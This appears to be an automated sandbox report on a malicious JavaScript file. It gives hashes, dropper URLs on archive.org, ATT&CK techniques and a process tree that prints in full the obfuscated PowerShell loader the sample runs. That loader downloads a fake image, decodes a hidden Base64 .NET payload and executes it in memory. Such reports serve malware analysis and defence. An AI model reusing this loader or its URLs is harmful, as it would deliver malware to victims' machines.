7a9213f8719cf4d04d44e17846fd121c58a3f6d4bf1ffe834836c8ae746b248b

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
20/01/2025, 13:57

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General

Target
20250120.js
Size 73KB
Sample250120-q89e2asmcv
SHA256 7a9213f8719cf4d04d44e17846fd121c58a3f6d4bf1ffe834836c8ae746b248b
MD5 3c59d737f35d68bbe2e3b439f5b2721e
SHA1 348a45200e40b92d6568dfbd84645da895d071e2
SHA512 0b73c8d15fda1e90e7a892c33716e0393ca51a24d404a1ba2146988d2dcab7b9889fd331ca8a1644d6e299d80f3dfb29079ebfc6bce7ac409105d4e7473f84c5
SSDEEP 1536:0Q4izQ6VsYW/t5JKtxG+B5jIWiHKHmdcAEGM6vax:0OzQ6Vi/vdPk
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20
exe.dropper
https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1564	powershell.exe
6	1564	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1564	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1564	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1564	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1196 wrote to memory of 1564	1196	wscript.exe	30
PID 1196 wrote to memory of 1564	1196	wscript.exe	30
PID 1196 wrote to memory of 1564	1196	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\20250120.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.ennada/az.oc.secnailppanednil//:sp##h';$restoredText = $originalText -replace '#', 't';$vilifiers = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$hemichannels = New-Object System.Net.WebClient;$osteogenesy = $hemichannels.DownloadData($vilifiers);$rescindable = [System.Text.Encoding]::UTF8.GetString($osteogenesy);$phytotoxic = '<<BASE64_START>>';$Homberg = '<<BASE64_END>>';$committed = $rescindable.IndexOf($phytotoxic);$rhamphodon = $rescindable.IndexOf($Homberg);$committed -ge 0 -and $rhamphodon -gt $committed;$committed += $phytotoxic.Length;$dyotheletian = $rhamphodon - $committed;$gradualistic = $rescindable.Substring($committed, $dyotheletian);$quadropole = -join ($gradualistic.ToCharArray() | ForEach-Object { $_ })[-1..-($gradualistic.Length)];$phosphorical = [System.Convert]::FromBase64String($quadropole);$aegophony = [System.Reflection.Assembly]::Load($phosphorical);$stolonization = [dnlib.IO.Home].GetMethod('VAI');$stolonization.Invoke($null, @($restoredText, 'palatines', 'palatines', 'palatines', 'MSBuild', 'palatines', 'palatines','palatines','palatines','palatines','palatines','palatines','1','palatines','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1564

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1564-4-0x0000000002C50000-0x0000000002CD0000-memory.dmp

Download

memory/1564-5-0x000000001B6A0000-0x000000001B982000-memory.dmp

Download

memory/1564-6-0x0000000002240000-0x0000000002248000-memory.dmp

Download

memory/1564-7-0x0000000002C50000-0x0000000002CD0000-memory.dmp

Download